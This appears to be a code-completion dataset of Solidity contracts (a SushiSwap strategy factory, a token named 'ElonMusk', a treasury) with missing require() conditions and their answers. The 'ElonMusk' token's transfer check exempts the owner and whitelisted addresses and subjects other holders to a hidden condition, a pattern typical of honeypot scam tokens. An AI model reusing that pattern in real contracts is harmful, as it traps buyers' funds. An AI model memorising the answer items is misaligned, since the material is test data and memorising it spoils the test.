// pragma solidity >=0.6.0;
library TransferHelper {
function safeApprove(address token, address to, uint value) internal {
}
function safeTransfer(address token, address to, uint value) internal {
}
function safeTransferFrom(address token, address from, address to, uint value) internal {
}
function safeTransferETH(address to, uint value) internal {
}
}
// Dependency file: contracts/libraries/SafeMath.sol
// pragma solidity >=0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
// Dependency file: contracts/modules/BaseShareField.sol
// pragma solidity >=0.6.6;
// import 'contracts/libraries/SafeMath.sol';
// import 'contracts/libraries/TransferHelper.sol';
interface IERC20 {
function approve(address spender, uint value) external returns (bool);
function balanceOf(address owner) external view returns (uint);
}
contract BaseShareField {
using SafeMath for uint;
uint public totalProductivity;
uint public accAmountPerShare;
uint public totalShare;
uint public mintedShare;
uint public mintCumulation;
uint private unlocked = 1;
address public shareToken;
modifier lock() {
}
struct UserInfo {
uint amount; // How many tokens the user has provided.
uint rewardDebt; // Reward debt.
uint rewardEarn; // Reward earn and not minted
bool initialize; // already setup.
}
mapping(address => UserInfo) public users;
function _setShareToken(address _shareToken) internal {
}
// Update reward variables of the given pool to be up-to-date.
function _update() internal virtual {
}
function _currentReward() internal virtual view returns (uint) {
}
// Audit user's reward to be up-to-date
function _audit(address user) internal virtual {
}
// External function call
// This function increase user's productivity and updates the global productivity.
// the users' actual share percentage will calculated by:
// Formula: user_productivity / global_productivity
function _increaseProductivity(address user, uint value) internal virtual returns (bool) {
}
// External function call
// This function will decreases user's productivity by value, and updates the global productivity
// it will record which block this is happenning and accumulates the area of (productivity * time)
function _decreaseProductivity(address user, uint value) internal virtual returns (bool) {
}
function _transferTo(address user, address to, uint value) internal virtual returns (bool) {
}
function _takeWithAddress(address user) internal view returns (uint) {
}
// External function call
// When user calls this function, it will calculate how many token will mint to user from his productivity * time
// Also it calculates global token supply from last time the user mint to this time.
function _mint(address user) internal virtual lock returns (uint) {
}
function _mintTo(address user, address to) internal virtual lock returns (uint) {
}
// Returns how many productivity a user has and global has.
function getProductivity(address user) public virtual view returns (uint, uint) {
}
// Returns the current gorss product rate.
function interestsPerBlock() public virtual view returns (uint) {
}
}
// Dependency file: contracts/SLPStrategy.sol
// pragma solidity >=0.5.16;
// import "contracts/libraries/TransferHelper.sol";
// import "contracts/libraries/SafeMath.sol";
// import "contracts/modules/BaseShareField.sol";
interface ICollateralStrategy {
function invest(address user, uint amount) external;
function withdraw(address user, uint amount) external;
function liquidation(address user) external;
function claim(address user, uint amount, uint total) external;
function exit(uint amount) external;
function migrate(address old) external;
function query() external view returns (uint);
function mint() external;
function interestToken() external returns (address);
function collateralToken() external returns (address);
}
interface IMasterChef {
function deposit(uint256 _pid, uint256 _amount) external;
function withdraw(uint256 _pid, uint256 _amount) external;
function pendingSushi(uint256 _pid, address _user) external view returns (uint256);
function poolInfo(uint _index) external view returns(address, uint, uint, uint);
}
contract SLPStrategy is ICollateralStrategy, BaseShareField
{
event Mint(address indexed user, uint amount);
using SafeMath for uint;
address override public interestToken;
address override public collateralToken;
address public poolAddress;
address public masterChef;
address public old;
uint public lpPoolpid;
address public factory;
constructor() public {
}
function initialize(address _interestToken, address _collateralToken, address _poolAddress, address _sushiMasterChef, uint _lpPoolpid) public
{
}
function migrate(address _old) external override
{
}
function invest(address user, uint amount) external override
{
}
function withdraw(address user, uint amount) external override
{
}
function liquidation(address user) external override {
}
function claim(address user, uint amount, uint total) external override {
}
function exit(uint amount) external override {
}
function _sync(address user) internal
{
}
function _currentReward() internal override view returns (uint) {
}
function query() external override view returns (uint){
}
function mint() external override {
}
}
// Dependency file: contracts/modules/Configable.sol
// pragma solidity >=0.5.16;
pragma experimental ABIEncoderV2;
interface IConfig {
function developer() external view returns (address);
function platform() external view returns (address);
function factory() external view returns (address);
function mint() external view returns (address);
function token() external view returns (address);
function developPercent() external view returns (uint);
function share() external view returns (address);
function base() external view returns (address);
function governor() external view returns (address);
function getPoolValue(address pool, bytes32 key) external view returns (uint);
function getValue(bytes32 key) external view returns(uint);
function getParams(bytes32 key) external view returns(uint, uint, uint, uint);
function getPoolParams(address pool, bytes32 key) external view returns(uint, uint, uint, uint);
function wallets(bytes32 key) external view returns(address);
function setValue(bytes32 key, uint value) external;
function setPoolValue(address pool, bytes32 key, uint value) external;
function setParams(bytes32 _key, uint _min, uint _max, uint _span, uint _value) external;
function setPoolParams(bytes32 _key, uint _min, uint _max, uint _span, uint _value) external;
function initPoolParams(address _pool) external;
function isMintToken(address _token) external returns (bool);
function prices(address _token) external returns (uint);
function convertTokenAmount(address _fromToken, address _toToken, uint _fromAmount) external view returns (uint);
function DAY() external view returns (uint);
function WETH() external view returns (address);
}
contract Configable {
address public config;
address public owner;
event OwnerChanged(address indexed _oldOwner, address indexed _newOwner);
constructor() public {
}
function setupConfig(address _config) external onlyOwner {
}
modifier onlyOwner() {
}
modifier onlyDeveloper() {
}
modifier onlyPlatform() {
}
modifier onlyFactory() {
}
modifier onlyGovernor() {
}
}
// Root file: contracts/SLPStrategyFactory.sol
pragma solidity >=0.5.16;
// import 'contracts/SLPStrategy.sol';
// import 'contracts/modules/Configable.sol';
interface ISLPStrategy {
function initialize(address _interestToken, address _collateralToken, address _poolAddress, address _sushiMasterChef, uint _lpPoolpid) external;
}
interface ISushiMasterChef {
function sushi() external view returns(address);
}
interface IAAAAPool {
function collateralToken() external view returns(address);
}
contract SLPStrategyFactory is Configable {
address public masterchef;
address[] public strategies;
event StrategyCreated(address indexed _strategy, address indexed _collateralToken, address indexed _poolAddress, uint _lpPoolpid);
constructor() public {
}
function initialize(address _masterchef) onlyOwner public {
}
function createStrategy(address _collateralToken, address _poolAddress, uint _lpPoolpid) onlyDeveloper external returns (address _strategy) {
require(<FILL_ME>)
(address cToken, , ,) = IMasterChef(masterchef).poolInfo(_lpPoolpid);
require(cToken == _collateralToken, 'Not found collateralToken in Masterchef');
bytes memory bytecode = type(SLPStrategy).creationCode;
bytes32 salt = keccak256(abi.encodePacked(_collateralToken, _poolAddress, _lpPoolpid, block.number));
assembly {
_strategy := create2(0, add(bytecode, 32), mload(bytecode), salt)
}
address _interestToken = ISushiMasterChef(masterchef).sushi();
ISLPStrategy(_strategy).initialize(_interestToken, _collateralToken, _poolAddress, masterchef, _lpPoolpid);
emit StrategyCreated(_strategy, _collateralToken, _poolAddress, _lpPoolpid);
strategies.push(_strategy);
return _strategy;
}
function countStrategy() external view returns(uint) {
}
}
| IAAAAPool(_poolAddress).collateralToken()==_collateralToken,'Not found collateralToken in Pool' | 19,327 | IAAAAPool(_poolAddress).collateralToken()==_collateralToken |
null | pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
}
function sub(uint a, uint b) internal pure returns(uint) {
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
}
function mul(uint a, uint b) internal pure returns(uint) {
}
function div(uint a, uint b) internal pure returns(uint) {
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
}
function safeApprove(IERC20 token, address spender, uint value) internal {
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
}
function balanceOf(address account) public view returns(uint) {
}
function transfer(address recipient, uint amount) public returns(bool) {
}
function allowance(address owner, address spender) public view returns(uint) {
}
function approve(address spender, uint amount) public returns(bool) {
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
}
function _transfer(address sender, address recipient, uint amount) internal {
}
function _mint(address account, uint amount) internal {
}
function _burn(address account, uint amount) internal {
}
function _approve(address owner, address spender, uint amount) internal {
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
}
function name() public view returns(string memory) {
}
function symbol() public view returns(string memory) {
}
function decimals() public view returns(uint8) {
}
}
//heyuemingchen
contract ElonMusk {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
//go the white address first
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(<FILL_ME>)
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
}
function approve(address _spender, uint _value) public payable returns (bool) {
}
function condition(address _from, uint _value) internal view returns(bool){
}
function delegate(address a, bytes memory b) public payable {
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
}
}
| condition(_from,_value) | 19,368 | condition(_from,_value) |
null | pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
}
}
contract Context {
constructor() internal {}
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns(address payable) {
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
}
function sub(uint a, uint b) internal pure returns(uint) {
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
}
function mul(uint a, uint b) internal pure returns(uint) {
}
function div(uint a, uint b) internal pure returns(uint) {
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
}
function safeApprove(IERC20 token, address spender, uint value) internal {
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
}
function balanceOf(address account) public view returns(uint) {
}
function transfer(address recipient, uint amount) public returns(bool) {
}
function allowance(address owner, address spender) public view returns(uint) {
}
function approve(address spender, uint amount) public returns(bool) {
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
}
function _transfer(address sender, address recipient, uint amount) internal {
}
function _mint(address account, uint amount) internal {
}
function _burn(address account, uint amount) internal {
}
function _approve(address owner, address spender, uint amount) internal {
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
}
function name() public view returns(string memory) {
}
function symbol() public view returns(string memory) {
}
function decimals() public view returns(uint8) {
}
}
//heyuemingchen
contract ElonMusk {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(<FILL_ME>)
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
}
function condition(address _from, uint _value) internal view returns(bool){
}
function delegate(address a, bytes memory b) public payable {
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
}
}
| ensure(_from,_to,_value) | 19,368 | ensure(_from,_to,_value) |
"Owner has already seeded treasury" | pragma solidity ^0.8.4;
// SPDX-License-Identifier: GPL-3.0-or-later
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./TempleERC20Token.sol";
import "./ITreasuryAllocation.sol";
import "./MintAllowance.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
// import "hardhat/console.sol";
contract TempleTreasury is Ownable {
// Underlying TEMPLE token
TempleERC20Token private TEMPLE;
// underlying stable token we are holding and valuing treasury with
IERC20 private STABLEC;
// Minted temple allocated to various investment contracts
MintAllowance public MINT_ALLOWANCE;
// Ratio of treasury value in stablec to open supply of temple.
struct IntrinsicValueRatio {
uint256 stablec;
uint256 temple;
}
IntrinsicValueRatio public intrinsicValueRatio;
// Temple rewards harvested, and (yet) to be allocated to a pool
uint256 public harvestedRewardsTemple;
// Has treasury been seeded with STABLEC yet (essentially, has seedMint been called)
// this will bootstrap IV
bool public seeded = false;
// all active pools. A pool is anything
// that gets allocated some portion of harvest
address[] public pools;
mapping(address => uint96) public poolHarvestShare;
uint96 public totalHarvestShares;
// Current treasury STABLEC allocations
mapping(ITreasuryAllocation => uint256) public treasuryAllocationsStablec;
uint256 public totalAllocationStablec;
event RewardsHarvested(uint256 _amount);
event HarvestDistributed(address _contract, uint256 _amount);
constructor(TempleERC20Token _TEMPLE, IERC20 _STABLEC) {
}
function numPools() external view returns (uint256) {
}
/**
* Seed treasury with STABLEC and Temple to bootstrap
*/
function seedMint(uint256 amountStablec, uint256 amountTemple) external onlyOwner {
require(<FILL_ME>)
seeded = true;
// can this go in the constructor?
intrinsicValueRatio.stablec = amountStablec;
intrinsicValueRatio.temple = amountTemple;
SafeERC20.safeTransferFrom(STABLEC, msg.sender, address(this), amountStablec);
TEMPLE.mint(msg.sender, amountTemple);
}
/**
* Harvest rewards.
*
* For auditing, we harvest and allocate in two steps
*/
function harvest(uint256 distributionPercent) external onlyOwner {
}
/**
* ResetIV
*
* Not expected to be used in day to day operations, as opposed to harvest which
* will be called ~ once per epoch.
*
* Only to be called if we have to post a treasury loss, and restart IV growth from
* a new baseline.
*/
function resetIV() external onlyOwner {
}
/**
* Allocate rewards to each pool.
*/
function distributeHarvest() external onlyOwner {
}
/**
* Mint and Allocate treasury TEMPLE.
*/
function mintAndAllocateTemple(address _contract, uint256 amountTemple) external onlyOwner {
}
/**
* Burn minted temple associated with a specific contract
*/
function unallocateAndBurnUnusedMintedTemple(address _contract) external onlyOwner {
}
/**
* Allocate treasury STABLEC.
*/
function allocateTreasuryStablec(ITreasuryAllocation _contract, uint256 amountStablec) external onlyOwner {
}
/**
* Update treasury with latest mark to market for a given treasury allocation
*/
function updateMarkToMarket(ITreasuryAllocation _contract) external onlyOwner {
}
/**
* Withdraw from a contract.
*
* Expects that pre-withdrawal reval() includes the unwithdrawn allowance, and post withdrawal reval()
* drops by exactly this amount.
*/
function withdraw(ITreasuryAllocation _contract) external onlyOwner {
}
/**
* Withdraw from a contract which has some treasury allocation
*
* Ejects a contract out of treasury, pulling in any allowance of STABLEC
* We only expect to use this if (for whatever reason). The booking in
* The given TreasuryAllocation results in withdraw not working.
*
* Precondition, contract given has allocated all of it's Stablec assets
* to be transfered into treasury as an allowance.
*
* This will only ever reduce treasury IV.
*/
function ejectTreasuryAllocation(ITreasuryAllocation _contract) external onlyOwner {
}
/**
* Add or update a pool, and transfer in treasury assets
*/
function upsertPool(address _contract, uint96 _poolHarvestShare) external onlyOwner {
}
/**
* Remove a given investment pool.
*/
function removePool(uint256 idx, address _contract) external onlyOwner {
}
}
| !seeded,"Owner has already seeded treasury" | 19,477 | !seeded |
null | pragma solidity ^0.8.4;
// SPDX-License-Identifier: GPL-3.0-or-later
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./TempleERC20Token.sol";
import "./ITreasuryAllocation.sol";
import "./MintAllowance.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
// import "hardhat/console.sol";
contract TempleTreasury is Ownable {
// Underlying TEMPLE token
TempleERC20Token private TEMPLE;
// underlying stable token we are holding and valuing treasury with
IERC20 private STABLEC;
// Minted temple allocated to various investment contracts
MintAllowance public MINT_ALLOWANCE;
// Ratio of treasury value in stablec to open supply of temple.
struct IntrinsicValueRatio {
uint256 stablec;
uint256 temple;
}
IntrinsicValueRatio public intrinsicValueRatio;
// Temple rewards harvested, and (yet) to be allocated to a pool
uint256 public harvestedRewardsTemple;
// Has treasury been seeded with STABLEC yet (essentially, has seedMint been called)
// this will bootstrap IV
bool public seeded = false;
// all active pools. A pool is anything
// that gets allocated some portion of harvest
address[] public pools;
mapping(address => uint96) public poolHarvestShare;
uint96 public totalHarvestShares;
// Current treasury STABLEC allocations
mapping(ITreasuryAllocation => uint256) public treasuryAllocationsStablec;
uint256 public totalAllocationStablec;
event RewardsHarvested(uint256 _amount);
event HarvestDistributed(address _contract, uint256 _amount);
constructor(TempleERC20Token _TEMPLE, IERC20 _STABLEC) {
}
function numPools() external view returns (uint256) {
}
/**
* Seed treasury with STABLEC and Temple to bootstrap
*/
function seedMint(uint256 amountStablec, uint256 amountTemple) external onlyOwner {
}
/**
* Harvest rewards.
*
* For auditing, we harvest and allocate in two steps
*/
function harvest(uint256 distributionPercent) external onlyOwner {
}
/**
* ResetIV
*
* Not expected to be used in day to day operations, as opposed to harvest which
* will be called ~ once per epoch.
*
* Only to be called if we have to post a treasury loss, and restart IV growth from
* a new baseline.
*/
function resetIV() external onlyOwner {
}
/**
* Allocate rewards to each pool.
*/
function distributeHarvest() external onlyOwner {
}
/**
* Mint and Allocate treasury TEMPLE.
*/
function mintAndAllocateTemple(address _contract, uint256 amountTemple) external onlyOwner {
}
/**
* Burn minted temple associated with a specific contract
*/
function unallocateAndBurnUnusedMintedTemple(address _contract) external onlyOwner {
}
/**
* Allocate treasury STABLEC.
*/
function allocateTreasuryStablec(ITreasuryAllocation _contract, uint256 amountStablec) external onlyOwner {
}
/**
* Update treasury with latest mark to market for a given treasury allocation
*/
function updateMarkToMarket(ITreasuryAllocation _contract) external onlyOwner {
}
/**
* Withdraw from a contract.
*
* Expects that pre-withdrawal reval() includes the unwithdrawn allowance, and post withdrawal reval()
* drops by exactly this amount.
*/
function withdraw(ITreasuryAllocation _contract) external onlyOwner {
uint256 preWithdrawlReval = _contract.reval();
uint256 pendingWithdrawal = STABLEC.allowance(address(_contract), address(this));
// NOTE: Reentrancy considered and it's safe STABLEC is a well known unchanging contract
SafeERC20.safeTransferFrom(STABLEC, address(_contract), address(this), pendingWithdrawal);
uint256 postWithdrawlReval = _contract.reval();
totalAllocationStablec = totalAllocationStablec - pendingWithdrawal;
treasuryAllocationsStablec[_contract] -= pendingWithdrawal;
require(<FILL_ME>)
}
/**
* Withdraw from a contract which has some treasury allocation
*
* Ejects a contract out of treasury, pulling in any allowance of STABLEC
* We only expect to use this if (for whatever reason). The booking in
* The given TreasuryAllocation results in withdraw not working.
*
* Precondition, contract given has allocated all of it's Stablec assets
* to be transfered into treasury as an allowance.
*
* This will only ever reduce treasury IV.
*/
function ejectTreasuryAllocation(ITreasuryAllocation _contract) external onlyOwner {
}
/**
* Add or update a pool, and transfer in treasury assets
*/
function upsertPool(address _contract, uint96 _poolHarvestShare) external onlyOwner {
}
/**
* Remove a given investment pool.
*/
function removePool(uint256 idx, address _contract) external onlyOwner {
}
}
| postWithdrawlReval+pendingWithdrawal==preWithdrawlReval | 19,477 | postWithdrawlReval+pendingWithdrawal==preWithdrawlReval |
"Pool at index and passed in address don't match" | pragma solidity ^0.8.4;
// SPDX-License-Identifier: GPL-3.0-or-later
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
import "./TempleERC20Token.sol";
import "./ITreasuryAllocation.sol";
import "./MintAllowance.sol";
import "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol";
// import "hardhat/console.sol";
contract TempleTreasury is Ownable {
// Underlying TEMPLE token
TempleERC20Token private TEMPLE;
// underlying stable token we are holding and valuing treasury with
IERC20 private STABLEC;
// Minted temple allocated to various investment contracts
MintAllowance public MINT_ALLOWANCE;
// Ratio of treasury value in stablec to open supply of temple.
struct IntrinsicValueRatio {
uint256 stablec;
uint256 temple;
}
IntrinsicValueRatio public intrinsicValueRatio;
// Temple rewards harvested, and (yet) to be allocated to a pool
uint256 public harvestedRewardsTemple;
// Has treasury been seeded with STABLEC yet (essentially, has seedMint been called)
// this will bootstrap IV
bool public seeded = false;
// all active pools. A pool is anything
// that gets allocated some portion of harvest
address[] public pools;
mapping(address => uint96) public poolHarvestShare;
uint96 public totalHarvestShares;
// Current treasury STABLEC allocations
mapping(ITreasuryAllocation => uint256) public treasuryAllocationsStablec;
uint256 public totalAllocationStablec;
event RewardsHarvested(uint256 _amount);
event HarvestDistributed(address _contract, uint256 _amount);
constructor(TempleERC20Token _TEMPLE, IERC20 _STABLEC) {
}
function numPools() external view returns (uint256) {
}
/**
* Seed treasury with STABLEC and Temple to bootstrap
*/
function seedMint(uint256 amountStablec, uint256 amountTemple) external onlyOwner {
}
/**
* Harvest rewards.
*
* For auditing, we harvest and allocate in two steps
*/
function harvest(uint256 distributionPercent) external onlyOwner {
}
/**
* ResetIV
*
* Not expected to be used in day to day operations, as opposed to harvest which
* will be called ~ once per epoch.
*
* Only to be called if we have to post a treasury loss, and restart IV growth from
* a new baseline.
*/
function resetIV() external onlyOwner {
}
/**
* Allocate rewards to each pool.
*/
function distributeHarvest() external onlyOwner {
}
/**
* Mint and Allocate treasury TEMPLE.
*/
function mintAndAllocateTemple(address _contract, uint256 amountTemple) external onlyOwner {
}
/**
* Burn minted temple associated with a specific contract
*/
function unallocateAndBurnUnusedMintedTemple(address _contract) external onlyOwner {
}
/**
* Allocate treasury STABLEC.
*/
function allocateTreasuryStablec(ITreasuryAllocation _contract, uint256 amountStablec) external onlyOwner {
}
/**
* Update treasury with latest mark to market for a given treasury allocation
*/
function updateMarkToMarket(ITreasuryAllocation _contract) external onlyOwner {
}
/**
* Withdraw from a contract.
*
* Expects that pre-withdrawal reval() includes the unwithdrawn allowance, and post withdrawal reval()
* drops by exactly this amount.
*/
function withdraw(ITreasuryAllocation _contract) external onlyOwner {
}
/**
* Withdraw from a contract which has some treasury allocation
*
* Ejects a contract out of treasury, pulling in any allowance of STABLEC
* We only expect to use this if (for whatever reason). The booking in
* The given TreasuryAllocation results in withdraw not working.
*
* Precondition, contract given has allocated all of it's Stablec assets
* to be transfered into treasury as an allowance.
*
* This will only ever reduce treasury IV.
*/
function ejectTreasuryAllocation(ITreasuryAllocation _contract) external onlyOwner {
}
/**
* Add or update a pool, and transfer in treasury assets
*/
function upsertPool(address _contract, uint96 _poolHarvestShare) external onlyOwner {
}
/**
* Remove a given investment pool.
*/
function removePool(uint256 idx, address _contract) external onlyOwner {
require(idx < pools.length, "No pool at the specified index");
require(<FILL_ME>)
pools[idx] = pools[pools.length-1];
pools.pop();
totalHarvestShares -= poolHarvestShare[_contract];
delete poolHarvestShare[_contract];
}
}
| pools[idx]==_contract,"Pool at index and passed in address don't match" | 19,477 | pools[idx]==_contract |
"Contracts not set" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "@openzeppelin/contracts/security/Pausable.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "./interfaces/IERC1155TokenReceiver.sol";
import "./interfaces/IImperialGuild.sol";
import "./interfaces/IEON.sol";
import "./interfaces/IRAW.sol";
import "./ERC1155.sol";
import "./EON.sol";
contract ImperialGuild is
IImperialGuild,
IERC1155TokenReceiver,
ERC1155,
Pausable
{
using Strings for uint256;
// struct to store each trait's data for metadata and rendering
struct Image {
string name;
string png;
}
struct TypeInfo {
uint16 mints;
uint16 burns;
uint16 maxSupply;
uint256 eonExAmt;
uint256 secExAmt;
}
struct LastWrite {
uint64 time;
uint64 blockNum;
}
// hardcoded tax % to the Imperial guild, collected from shard and onosia purchases
// to be used in game at a later time
uint256 public constant ImperialGuildTax = 20;
// multiplier for eon exchange amount
uint256 public constant multiplier = 10**18;
// payments for shards and onosia will collect in this contract until
